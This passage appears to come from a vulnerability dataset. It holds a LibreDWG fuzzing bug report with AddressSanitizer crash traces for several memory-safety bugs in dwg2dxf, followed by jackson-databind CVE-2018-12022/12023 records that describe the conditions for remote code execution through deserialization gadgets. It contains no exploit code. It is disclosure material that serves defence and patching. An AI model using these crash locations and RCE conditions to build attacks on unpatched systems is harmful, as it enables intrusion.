/home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #7 0x7f6675d113d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #8 0x7f6675cf4049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #9 0x7f6675ccf4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #11 0x7f6674bacb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c in bit_read_B ==32294==ABORTING ``` ### others from fuzz project None crash name None-00000006-1552381538.dwg Auto-generated by pyspider at 2019-03-12 18:15:42 ## [email protected]:2353-32___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_decode_eed_data at decode.c:2353-32 ### commandline dwg2dxf @@ -o /dev/null ### source ```c In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c 2348 data->u.eed_4.data[j] = bit_read_RC(dat); 2349 LOG_TRACE("raw: %s\n", data->u.eed_4.data); 2350 break; 2351 case 10: case 11: case 12: case 13: /case 14: case 15:/ 2352 data->u.eed_10.point.x = bit_read_RD(dat); ► 2353 data->u.eed_10.point.y = bit_read_RD(dat); 2354 data->u.eed_10.point.z = bit_read_RD(dat); 2355 LOG_TRACE("3dpoint: %f, %f, %f\n", 2356 data->u.eed_10.point.x, 2357 data->u.eed_10.point.y, 2358 data->u.eed_10.point.z); ``` ### bug report ```txt ================================================================= ==32310==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006740 at pc 0x7efd7e7806c5 bp 0x7ffe71660c30 sp 0x7ffe71660c28 WRITE of size 8 at 0x602000006740 thread T0 #0 0x7efd7e7806c4 in dwg_decode_eed_data /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2353:32 #1 0x7efd7e7806c4 in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2473 #2 0x7efd7e7757ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 #3 0x7efd7e64f874 in dwg_decode_LEADER_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026:1 #4 0x7efd7e64f874 in dwg_decode_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026 #5 0x7efd7e64f874 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3630 #6 0x7efd7e5fe3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #7 0x7efd7e5fe3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #8 0x7efd7e5e1049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #9 0x7efd7e5bc4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #11 0x7efd7d499b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x602000006740 is located 5 bytes to the right of 11-byte region [0x602000006730,0x60200000673b) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7efd7e77ea9f in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2470:47 #2 0x7efd7e7757ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2353:32 in dwg_decode_eed_data Shadow bytes around the buggy address: 0x0c047fff8c90: fa fa 00 00 fa fa 04 fa fa fa 00 03 fa fa 04 fa 0x0c047fff8ca0: fa fa 00 03 fa fa 00 06 fa fa 00 00 fa fa 00 00 0x0c047fff8cb0: fa fa 00 00 fa fa 00 00 fa fa 04 fa fa fa 00 03 0x0c047fff8cc0: fa fa 04 fa fa fa 00 03 fa fa 00 06 fa fa 00 03 0x0c047fff8cd0: fa fa 00 06 fa fa 00 03 fa fa 00 06 fa fa 00 03 =>0x0c047fff8ce0: fa fa 00 06 fa fa 00 03[fa]fa fa fa fa fa fa fa 0x0c047fff8cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32310==ABORTING ``` ### others from fuzz project None crash name None-00000003-1552381586.dwg Auto-generated by pyspider at 2019-03-12 18:15:43 ## [email protected]:2523-11___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_dxf_LTYPE at dwg.spec:2523-11 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt ================================================================= ==32330==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000015008 at pc 0x7eff104ff2d8 bp 0x7ffd1eb7a490 sp 0x7ffd1eb7a488 READ of size 1 at 0x608000015008 thread T0 #0 0x7eff104ff2d7 in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2523:11 #1 0x7eff104de5c1 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1272:11 #2 0x7eff104b01d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7eff0edb9b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x608000015008 is located 8 bytes to the right of 96-byte region [0x608000014fa0,0x608000015000) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7eff0ff7c742 in dwg_add_LINE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:877:1 #2 0x7eff0ff7c742 in dwg_decode_LINE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:877 #3 0x7eff0ff7c742 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3555 #4 0x7eff0ff1e3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #5 0x7eff0ff1e3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #6 0x7eff0ff01049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #7 0x7eff0fedc4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #8 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #9 0x7eff0edb9b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2523:11 in dwg_dxf_LTYPE Shadow bytes around the buggy address: 0x0c107fffa9b0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9c0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9d0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9f0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c107fffaa00: fa[fa]fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa10: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa20: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa30: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa40: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa50: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32330==ABORTING ``` ### others from fuzz project None crash name None-00000013-1552381572.dwg Auto-generated by pyspider at 2019-03-12 18:15:44 ## dxf_header_write@header_variables_dxf.spec:73-3___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dxf_header_write at header_variables_dxf.spec:73-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt ================================================================= ==32334==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000005ae0 at pc 0x7f47f17c85b0 bp 0x7ffdfb1fa790 sp 0x7ffdfb1fa788 READ of size 8 at 0x602000005ae0 thread T0 #0 0x7f47f17c85af in dxf_header_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./header_variables_dxf.spec:73:3 #1 0x7f47f179d2c9 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1579:3 #2 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #3 0x7f47f00a7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #4 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x602000005ae0 is located 8 bytes to the right of 8-byte region [0x602000005ad0,0x602000005ad8) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7f47f127cb11 in dwg_add_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530:1 #2 0x7f47f127cb11 in dwg_decode_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530 #3 0x7f47f127cb11 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3809 #4 0x7f47f120c3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #5 0x7f47f120c3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #6 0x7f47f11ef049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #7 0x7f47f11ca4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #8 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #9 0x7f47f00a7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./header_variables_dxf.spec:73:3 in dxf_header_write Shadow bytes around the buggy address: 0x0c047fff8b00: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b10: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b20: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b30: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b40: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa =>0x0c047fff8b50: fa fa 00 fa fa fa 00 fa fa fa 00 fa[fa]fa 00 fa 0x0c047fff8b60: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b70: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b80: fa fa 00 fa fa fa 00 06 fa fa 00 06 fa fa 00 06 0x0c047fff8b90: fa fa 00 06 fa fa 00 06 fa fa 00 06 fa fa 00 06 0x0c047fff8ba0: fa fa 00 06 fa fa 00 06 fa fa 00 06 fa fa 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32334==ABORTING ``` ### others from fuzz project None crash name None-00000008-1552381574.dwg Auto-generated by pyspider at 2019-03-12 18:15:45 ## dwg_dxf_LTYPE@___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LTYPE at ### commandline dwg2dxf @@ -o /dev/null ### source ```c In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.spec 2482 FIELD_RC (alignment, 72); 2483 } 2484 FIELD_RC (num_dashes, 73); 2485 REPEAT_C(num_dashes, dash, Dwg_LTYPE_dash) 2486 { ► 2487 PRE(R_13) 2488 { 2489 FIELD_RD (dash[rcount1].length, 49); 2490 #ifndef IS_PRINT 2491 FIELD_VALUE(pattern_len) += FIELD_VALUE(dash[rcount1].length); 2492 #endif ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32338==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb4e3e7f99c bp 0x7ffe9fb40000 sp 0x7ffe9fb3ec00 T0) ==32338==The signal is caused by a READ memory access. ==32338==Hint: address points to the zero page. #0 0x7fb4e3e7f99b in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec #1 0x7fb4e3e61658 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1275:20 #2 0x7fb4e3e331d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7fb4e273cb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec in dwg_dxf_LTYPE ==32338==ABORTING ``` ### others from fuzz project None crash name None-00000012-1552381601.dwg Auto-generated by pyspider at 2019-03-12 18:15:45 ## [email protected]:2471-3___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LTYPE at dwg.spec:2471-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32342==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f7dab4ac4f0 bp 0x3ff0000000000018 sp 0x7fff577b50a0 T0) ==32342==The signal is caused by a READ memory access. ==32342==Hint: address points to the zero page. #0 0x7f7dab4ac4ef in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2471:3 #1 0x7f7dab48f5c1 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1272:11 #2 0x7f7dab4611d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7f7da9d6ab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2471:3 in dwg_dxf_LTYPE ==32342==ABORTING ``` ### others from fuzz project None crash name None-00000010-1552381589.dwg Auto-generated by pyspider at 2019-03-12 18:15:45 ## [email protected]:1323-3___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function bit_convert_TU at bits.c:1323-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32351==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7feaa5e0727e bp 0x000000000001 sp 0x7fffe83aecc0 T0) ==32351==The signal is caused by a READ memory access. ==32351==Hint: address points to the zero page. #0 0x7feaa5e0727d in bit_convert_TU /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c:1323:3 #1 0x7feaa63f0ed0 in dwg_dxf_STYLE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2425:13 #2 0x7feaa63f0ed0 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1319 #3 0x7feaa63bc1d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #4 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #5 0x7feaa4cc5b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #6 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c:1323:3 in bit_convert_TU ==32351==ABORTING ``` ### others from fuzz project None crash name None-00000001-1552381543.dwg Auto-generated by pyspider at 2019-03-12 18:15:46 ## [email protected]:2354-32___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_decode_eed_data at decode.c:2354-32 ### commandline dwg2dxf @@ -o /dev/null ### source ```c In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c 2349 LOG_TRACE("raw: %s\n", data->u.eed_4.data); 2350 break; 2351 case 10: case 11: case 12: case 13: /case 14: case 15:/ 2352 data->u.eed_10.point.x = bit_read_RD(dat); 2353 data->u.eed_10.point.y = bit_read_RD(dat); ► 2354 data->u.eed_10.point.z = bit_read_RD(dat); 2355 LOG_TRACE("3dpoint: %f, %f, %f\n", 2356 data->u.eed_10.point.x, 2357 data->u.eed_10.point.y, 2358 data->u.eed_10.point.z); 2359 break; ``` ### bug report ```txt ================================================================= ==32355==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300007ff11 at pc 0x7feedd1396cf bp 0x7ffeed7b1e10 sp 0x7ffeed7b1e08 WRITE of size 8 at 0x60300007ff11 thread T0 #0 0x7feedd1396ce in dwg_decode_eed_data /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2354:32 #1 0x7feedd1396ce in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2473 #2 0x7feedd12e7ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 #3 0x7feedd008874 in dwg_decode_LEADER_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026:1 #4 0x7feedd008874 in dwg_decode_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026 #5 0x7feedd008874 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3630 #6 0x7feedcfb73d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #7 0x7feedcfb73d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #8 0x7feedcf9a049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #9 0x7feedcf754b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #11 0x7feedbe52b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x60300007ff11 is located 0 bytes to the right of 17-byte region [0x60300007ff00,0x60300007ff11) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7feedd137a9f in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2470:47 #2 0x7feedd12e7ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2354:32 in dwg_decode_eed_data Shadow bytes around the buggy address: 0x0c0680007f90: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c0680007fa0: 00 05 fa fa 00 00 00 02 fa fa 00 00 01 fa fa fa 0x0c0680007fb0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fa 0x0c0680007fc0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c0680007fd0: fd fd fa fa 00 00 00 05 fa fa 00 00 00 02 fa fa =>0x0c0680007fe0: 00 00[01]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0680007ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0680008000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0680008010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0680008020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0680008030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32355==ABORTING ``` ### others from fuzz project None crash name None-00000004-1552381550.dwg Auto-generated by pyspider at 2019-03-12 18:15:46 ## [email protected]:2154-1___out-of-bounds-read ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an out-of-bounds-read in function dwg_dxf_BLOCK_CONTROL at dwg.spec:2154-1 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32364==ERROR: AddressSanitizer: SEGV on unknown address 0x00207fff8003 (pc 0x7f4948e0cf48 bp 0x7fffdb01b150 sp 0x7fffdb01aee0 T0) ==32364==The signal is caused by a READ memory access. #0 0x7f4948e0cf47 in dwg_dxf_BLOCK_CONTROL /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2154:1 #1 0x7f4948e0cf47 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1421 #2 0x7f4948dce1d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7f49476d7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2154:1 in dwg_dxf_BLOCK_CONTROL ==32364==ABORTING ``` ### others from fuzz project None crash name None-00000005-1552381649.dwg Auto-generated by pyspider at 2019-03-12 18:15:47 [dwg2dxf.tar.gz](https://github.com/LibreDWG/libredwg/files/2956421/dwg2dxf.tar.gz) And a same report send to [savannah.gnu.org/bugs](https://savannah.gnu.org/bugs/index.php?55893)	fuzzing results LibreDWG	https://api.github.com/repos/LibreDWG/libredwg/issues/99/comments	7	2019-03-12T10:51:26Z	2019-04-24T13:52:34Z	https://github.com/LibreDWG/libredwg/issues/99	419,920,036	99
CVE-2018-12022	2019-03-21T16:00:12.310	An issue was discovered in FasterXML jackson-databind prior to 2.7.9.4, 2.8.11.2, and 2.9.6. When Default Typing is enabled (either globally or for a specific property), the service has the Jodd-db jar (for database access for the Jodd framework) in the classpath, and an attacker can provide an LDAP service to access, it is possible to make the service execute a malicious payload.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "HIGH", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.1, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 4.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": 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"jackson-databind" ]	There is a potential remote code execution (RCE) vulnerability, if user is 1. handling untrusted content (where attacker can craft JSON) 2. using "Default Typing" feature (or equivalent; polymorphic value with base type of `java.lang.Object` 3. has `jodd-db` (https://jodd.org/db/) jar in classpath 4. allows connections from service to untrusted hosts (where attacker can run an LDAP service) (note: steps 1 and 2 are common steps as explained in https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062) To solve the issue, one type from Jodd database component is blacklisted to avoid their use as "serialization gadgets". Original vulnerability discoverer: 吴桂雄 Wuguixiong Fixed in: * 2.9.6 and later * 2.8.11.2 * 2.7.9.4 * 2.6.7.3	Block one more gadget type (jodd-db, CVE-2018-12022)	https://api.github.com/repos/FasterXML/jackson-databind/issues/2052/comments	2	2018-05-29T20:03:23Z	2020-12-02T04:02:53Z	https://github.com/FasterXML/jackson-databind/issues/2052	327,467,262	2,052
CVE-2018-12023	2019-03-21T16:00:12.407	An issue was discovered in FasterXML jackson-databind prior to 2.7.9.4, 2.8.11.2, and 2.9.6. When Default Typing is enabled (either globally or for a specific property), the service has the Oracle JDBC jar in the classpath, and an attacker can provide an LDAP service to access, it is possible to make the service execute a malicious payload.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "HIGH", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.1, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 4.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, 